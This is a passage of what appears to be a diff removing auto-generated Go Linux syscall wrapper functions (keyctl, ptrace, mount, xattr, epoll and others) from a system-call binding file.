-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlBuffer(cmd int, arg2 int, buf []byte, arg5 int) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(buf)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlJoin(cmd int, arg2 string) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg2)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlSearch(cmd int, arg2 int, arg3 string, arg4 string, arg5 int) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg3)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(arg4)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlIOV(cmd int, arg2 int, payload []Iovec, arg5 int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(payload) > 0 {
-- _p0 = unsafe.Pointer(&payload[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(payload)), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlDH(cmd int, arg2 *KeyctlDHParams, buf []byte) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(arg2)), uintptr(_p0), uintptr(len(buf)), 0, 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_REBOOT, uintptr(magic1), uintptr(magic2), uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func mount(source string, target string, fstype string, flags uintptr, data *byte) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(source)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(fstype)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(flags), uintptr(unsafe.Pointer(data)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Acct(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_ACCT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func AddKey(keyType string, description string, payload []byte, ringid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(payload) > 0 {
-- _p2 = unsafe.Pointer(&payload[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_ADD_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(payload)), uintptr(ringid), 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Adjtimex(buf *Timex) (state int, err error) {
-- r0, _, e1 := Syscall(SYS_ADJTIMEX, uintptr(unsafe.Pointer(buf)), 0, 0)
-- state = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chdir(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chroot(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ClockGettime(clockid int32, time *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_COPY_FILE_RANGE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup(oldfd int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup3(oldfd int, newfd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate(size int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate1(flag int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE1, uintptr(flag), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) {
-- _, _, e1 := RawSyscall6(SYS_EPOLL_CTL, uintptr(epfd), uintptr(op), uintptr(fd), uintptr(unsafe.Pointer(event)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Eventfd(initval uint, flags int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_EVENTFD2, uintptr(initval), uintptr(flags), 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Exit(code int) {
-- Syscall(SYS_EXIT_GROUP, uintptr(code), 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-- _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(off>>32), uintptr(len), uintptr(len>>32))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fdatasync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdents(fd int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETDENTS64, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-- pgid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-- pid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-- ppid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-- prio = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrandom(buf []byte, flags int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETRANDOM, uintptr(_p0), uintptr(len(buf)), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-- sid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Gettid() (tid int) {
-- r0, _, _ := RawSyscall(SYS_GETTID, 0, 0, 0)
-- tid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(pathname)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_INOTIFY_ADD_WATCH, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mask))
-- watchdesc = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyInit1(flags int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT1, uintptr(flags), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyRmWatch(fd int, watchdesc uint32) (success int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_RM_WATCH, uintptr(fd), uintptr(watchdesc), 0)
-- success = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Kill(pid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_KILL, uintptr(pid), uintptr(sig), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Klogctl(typ int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lgetxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_LGETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Listxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Llistxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LLISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lremovexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LREMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lsetxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_LSETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func PivotRoot(newroot string, putold string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(newroot)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(putold)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_PIVOT_ROOT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) {
-- _, _, e1 := RawSyscall6(SYS_PRLIMIT64, uintptr(pid), uintptr(resource), uintptr(unsafe.Pointer(newlimit)), uintptr(unsafe.Pointer(old)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func read(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Removexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func RequestKey(keyType string, description string, callback string, destRingid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(callback)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_REQUEST_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(destRingid), 0, 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setdomainname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETDOMAINNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sethostname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETHOSTNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-- pid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Settimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-- if e1 != 0 {
